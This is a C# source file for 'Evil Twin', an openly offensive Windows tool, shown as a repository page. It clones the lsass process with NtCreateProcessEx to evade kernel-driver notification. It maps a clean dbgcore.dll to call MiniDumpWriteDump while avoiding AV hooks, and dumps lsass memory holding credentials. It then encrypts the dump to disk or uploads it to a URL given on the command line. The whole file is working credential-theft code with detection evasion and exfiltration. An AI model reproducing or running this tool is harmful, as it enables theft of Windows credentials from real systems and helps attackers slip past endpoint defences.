-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathProgram.cs
440 lines (353 loc) · 14.3 KB
/
Program.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
/*
Evil Twin is an lsass cloner that clones the memory address space of lsass and dump it
using funciton "if you can call it that" NtCreateProcessEx, this function does NOT notify the kernel driver of a new
process creation
shamelessly stole the minidump callbacks from SafetyDump XD
resources and references used:
https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass
https://github.com/huntandhackett/process-cloning/tree/master
https://github.com/riskydissonance/SafetyDump
*/
using System;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using static DInvoke.DynamicInvoke.Generic;
using static DInvoke.Data.PE;
using System.IO;
using System.Linq;
using System.Management;
using System.Net;
using DInvoke.ManualMap;
class Program
{
const int PROCESS_CREATE_PROCESS = 0x0080;
const int PROCESS_TERMINATE = 0x0001;
const int PROCESS_QUERY_INFORMATION = 0x0400;
const int PROCESS_VM_READ = 0x0010;
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate int NtOpenProcess(
ref IntPtr hProcess,
int access,
ref OBJECT_ATTRIBUTES objectAttributes,
ref CLIENT_ID clientId
);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate int NtCreateProcessEx(
ref IntPtr hProcess,
int access,
ref OBJECT_ATTRIBUTES objectAttributes,
IntPtr hParentProcess,
int flags,
IntPtr sectionHandle,
IntPtr debugPort,
IntPtr exceptionPort,
int unknown
);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate int NtClose(IntPtr hObject);
//[DllImport("dbghelp.dll", EntryPoint = "MiniDumpWriteDump", CallingConvention = CallingConvention.StdCall,
//CharSet = CharSet.Unicode, ExactSpelling = true, SetLastError = true)]
[UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)]
public delegate bool MiniDumpWriteDump(
IntPtr hProcess,
uint processId,
IntPtr hFile,
uint dumpType,
IntPtr expParam,
IntPtr userStreamParam,
IntPtr callbackParam
);
[StructLayout(LayoutKind.Sequential)]
public struct OBJECT_ATTRIBUTES
{
public int Length;
public IntPtr RootDirectory;
public IntPtr ObjectName;
public int Attributes;
public IntPtr SecurityDescriptor;
public IntPtr SecurityQualityOfService;
}
[StructLayout(LayoutKind.Sequential)]
public struct CLIENT_ID
{
public IntPtr UniqueProcess;
public IntPtr UniqueThread;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct MINIDUMP_IO_CALLBACK
{
public IntPtr Handle;
public ulong Offset;
public IntPtr Buffer;
public int BufferBytes;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct MINIDUMP_CALLBACK_INFORMATION
{
public MinidumpCallbackRoutine CallbackRoutine;
public IntPtr CallbackParam;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct MINIDUMP_CALLBACK_INPUT
{
public int ProcessId;
public IntPtr ProcessHandle;
public MINIDUMP_CALLBACK_TYPE CallbackType;
public MINIDUMP_IO_CALLBACK Io;
}
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
public delegate bool MinidumpCallbackRoutine(IntPtr CallbackParam, IntPtr CallbackInput, IntPtr CallbackOutput);
public enum HRESULT : uint
{
S_FALSE = 0x0001,
S_OK = 0x0000,
E_INVALIDARG = 0x80070057,
E_OUTOFMEMORY = 0x8007000E
}
public struct MINIDUMP_CALLBACK_OUTPUT
{
public HRESULT status;
}
[StructLayout(LayoutKind.Sequential, Pack = 4)]
struct MiniDumpExceptionInformation
{
public uint ThreadId;
public IntPtr ExceptionPointers;
[MarshalAs(UnmanagedType.Bool)]
public bool ClientPointers;
}
public enum MINIDUMP_CALLBACK_TYPE
{
ModuleCallback,
ThreadCallback,
ThreadExCallback,
IncludeThreadCallback,
IncludeModuleCallback,
MemoryCallback,
CancelCallback,
WriteKernelMinidumpCallback,
KernelMinidumpStatusCallback,
RemoveMemoryCallback,
IncludeVmRegionCallback,
IoStartCallback,
IoWriteAllCallback,
IoFinishCallback,
ReadMemoryFailureCallback,
SecondaryFlagsCallback,
IsProcessSnapshotCallback,
VmStartCallback,
VmQueryCallback,
VmPreReadCallback,
VmPostReadCallback
}
public static string GenerateRandomKeys(int length)
{
Random random = new Random(DateTime.Now.Millisecond);
const string charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
return new string(Enumerable.Repeat(charset, length).Select(s => s[random.Next(s.Length)]).ToArray());
}
public static byte[] AESEncrypt(byte[] data)
{
string key = GenerateRandomKeys(16);
string iv = GenerateRandomKeys(16);
//Console.WriteLine("\n");
Console.WriteLine($"[+] AES Key Used: {key}");
Console.WriteLine($"[+] AES IV Used: {iv}");
using (AesManaged aes = new AesManaged())
{
aes.Key = System.Text.Encoding.UTF8.GetBytes(key);
aes.IV = System.Text.Encoding.UTF8.GetBytes(iv);
aes.Mode = CipherMode.CBC;
aes.Padding = PaddingMode.Zeros;
ICryptoTransform AESEncryptor = aes.CreateEncryptor(aes.Key, aes.IV);
using (MemoryStream ms = new MemoryStream())
{
using (CryptoStream cs = new CryptoStream(ms, AESEncryptor, CryptoStreamMode.Write))
{
cs.Write(data, 0, data.Length);
cs.FlushFinalBlock();
}
return ms.ToArray();
}
}
}
public static void WriteData2File(byte[] memory_blob) {
string path = $@"{Environment.CurrentDirectory}\eviltwin.data";
string b64_blob = Convert.ToBase64String(AESEncrypt(memory_blob));
File.WriteAllText(path, b64_blob);
Console.WriteLine($"[*] Wrote Encrypted Data to: {path}");
}
public static void OverTheWire(string b64decoded_blob, string url){
using (WebClient sender = new WebClient())
{
// sends only the base64 encoded lsass, doesn't AES encrypt it, since we are not touching the disk
Uri uri = new Uri(url);
Console.WriteLine($"[+] sending to {url}");
sender.UploadData(uri, System.Text.Encoding.UTF8.GetBytes(b64decoded_blob));
}
}
static void Main(string[] args)
{
string send = null;
bool send_encrypted = false;
for (int arg = 0; arg < args.Length; arg++)
{
if (args[arg] == "-send") { send = args[arg + 1]; }
if (args[arg] == "-send-encrypted") { send_encrypted = true; }
if (args[arg] == "-help" || args[arg] == "-h" || args[arg] == "--help") { DisplayArgHelp(); Environment.Exit(0); }
}
void DisplayArgHelp()
{
Console.WriteLine("\nrun without any args: clones and dumps lsass and saves it to current dir");
Console.WriteLine("\n-send a url to send base64 encoded lsass dmp to");
Console.WriteLine("\n-send-encrypted sends lsass to the url above but AES encrypted not just b64 encoded");
}
IntPtr NtC_ptr = GetSyscallStub("NtClose");
NtClose NtClose = Marshal.GetDelegateForFunctionPointer<NtClose>(NtC_ptr);
IntPtr NtO_ptr = GetSyscallStub("NtOpenProcess");
NtOpenProcess NtOpenProcess = Marshal.GetDelegateForFunctionPointer<NtOpenProcess>(NtO_ptr);
IntPtr NtCreate_ptr = GetSyscallStub("NtCreateProcessEx");
NtCreateProcessEx NtCreateProcessEx = Marshal.GetDelegateForFunctionPointer<NtCreateProcessEx>(NtCreate_ptr);
Console.WriteLine("[+] Mapping a clean copy of (dbgcore.dll) for (MiniDumpWriteDump)");
PE_MANUAL_MAP dbgcore = new();
dbgcore = Map.MapModuleToMemory(@"C:\Windows\System32\dbgcore.dll");
IntPtr Mini_ptr = GetExportAddress(dbgcore.ModuleBase, "MiniDumpWriteDump");
MiniDumpWriteDump MiniDumpWriteDump = Marshal.GetDelegateForFunctionPointer<MiniDumpWriteDump>(Mini_ptr);
int GetProcessIdByName() // using WMI because for some reason Process.GetProcessByName bugged MiniDumpWriteDump
{
try
{
using (var searcher = new ManagementObjectSearcher($"SELECT ProcessId FROM Win32_Process WHERE Name = 'lsass.exe'"))
using (var results = searcher.Get())
{
foreach (var item in results)
{
Console.WriteLine($"[+] lsass pid: {Convert.ToInt32(item["ProcessId"])}");
return Convert.ToInt32(item["ProcessId"]);
}
}
}
catch (Exception ex)
{
Console.WriteLine($"Error retrieving process ID: {ex.Message}");
}
return -1; // Return -1 if no process is found or an error occurs
}
IntPtr hParentProcess = IntPtr.Zero;
IntPtr hCloneProcess = IntPtr.Zero;
IntPtr pid = (IntPtr)GetProcessIdByName();
// Open the target process for cloning
OBJECT_ATTRIBUTES oa = new OBJECT_ATTRIBUTES();
CLIENT_ID ci = new CLIENT_ID
{
UniqueProcess = pid
};
// Init Function
oa.Length = Marshal.SizeOf(oa);
oa.RootDirectory = IntPtr.Zero;
oa.ObjectName = IntPtr.Zero;
oa.Attributes = 0;
oa.SecurityDescriptor = IntPtr.Zero;
oa.SecurityQualityOfService = IntPtr.Zero;
int status = NtOpenProcess(
ref hParentProcess,
PROCESS_CREATE_PROCESS, //| PROCESS_TERMINATE | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
ref oa,
ref ci
);
if (status != 0)
{
Console.WriteLine($"NtOpenProcess failed with status: {status}");
return;
} else { Console.WriteLine("[+] Opened LSASS with PROCESS_CREATE_PROCESS Handle"); }
var byteArray = new byte[60 * 1024 * 1024];
var callbackPtr = new MinidumpCallbackRoutine((param, input, output) =>
{
var inputStruct = Marshal.PtrToStructure<MINIDUMP_CALLBACK_INPUT>(input);
var outputStruct = Marshal.PtrToStructure<MINIDUMP_CALLBACK_OUTPUT>(output);
switch (inputStruct.CallbackType)
{
case MINIDUMP_CALLBACK_TYPE.IoStartCallback:
outputStruct.status = HRESULT.S_FALSE;
Marshal.StructureToPtr(outputStruct, output, true);
return true;
case MINIDUMP_CALLBACK_TYPE.IoWriteAllCallback:
var ioStruct = inputStruct.Io;
if ((int)ioStruct.Offset + ioStruct.BufferBytes >= byteArray.Length)
{
Array.Resize(ref byteArray, byteArray.Length * 2);
}
Marshal.Copy(ioStruct.Buffer, byteArray, (int)ioStruct.Offset, ioStruct.BufferBytes);
outputStruct.status = HRESULT.S_OK;
Marshal.StructureToPtr(outputStruct, output, true);
return true;
case MINIDUMP_CALLBACK_TYPE.IoFinishCallback:
outputStruct.status = HRESULT.S_OK;
Marshal.StructureToPtr(outputStruct, output, true);
return true;
default:
return true;
}
});
var callbackInfo = new MINIDUMP_CALLBACK_INFORMATION
{
CallbackRoutine = callbackPtr,
CallbackParam = IntPtr.Zero
};
var size = Marshal.SizeOf(callbackInfo);
var callbackInfoPtr = Marshal.AllocHGlobal(size);
Marshal.StructureToPtr(callbackInfo, callbackInfoPtr, false);
int status1 = NtCreateProcessEx(
ref hCloneProcess,
PROCESS_TERMINATE | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
ref oa,
hParentProcess,
0,
IntPtr.Zero,
IntPtr.Zero,
IntPtr.Zero,
0
);
if (status1 != 0)
{
Console.WriteLine($"NtCreateProcessEx failed with status: {status1}");
//NtClose(hParentProcess);
//return;
} else { Console.WriteLine("[+] Cloned LSASS' Memory Address Space to the Current Process"); }
bool result = MiniDumpWriteDump(
hCloneProcess,
0,
IntPtr.Zero,
(uint)2,
IntPtr.Zero,
IntPtr.Zero,
callbackInfoPtr
);
if (!result)
{
Console.WriteLine("[-] MiniDumpWriteDump failed.");
Console.WriteLine(Marshal.GetLastWin32Error());
return;
}
Console.WriteLine("[*] Dumped Cloned LSASS Memory");
if (string.IsNullOrEmpty(send))
{
Console.WriteLine("[+] Encrypting and Writing to file....");
WriteData2File(byteArray);
}
if (!string.IsNullOrEmpty(send))
{
if (!send_encrypted)
{
OverTheWire(Convert.ToBase64String(byteArray), send);
}
if (send_encrypted) {
Console.WriteLine("[+] Encrypting and sending lsass dmp");
OverTheWire(Convert.ToBase64String(AESEncrypt(byteArray)), send);
}
}
//File.WriteAllBytes(@"C:\Users\DevOps\Desktop\lsass.blob", byteArray); // DEBUG
NtClose(hParentProcess);
NtClose(hCloneProcess);
}
}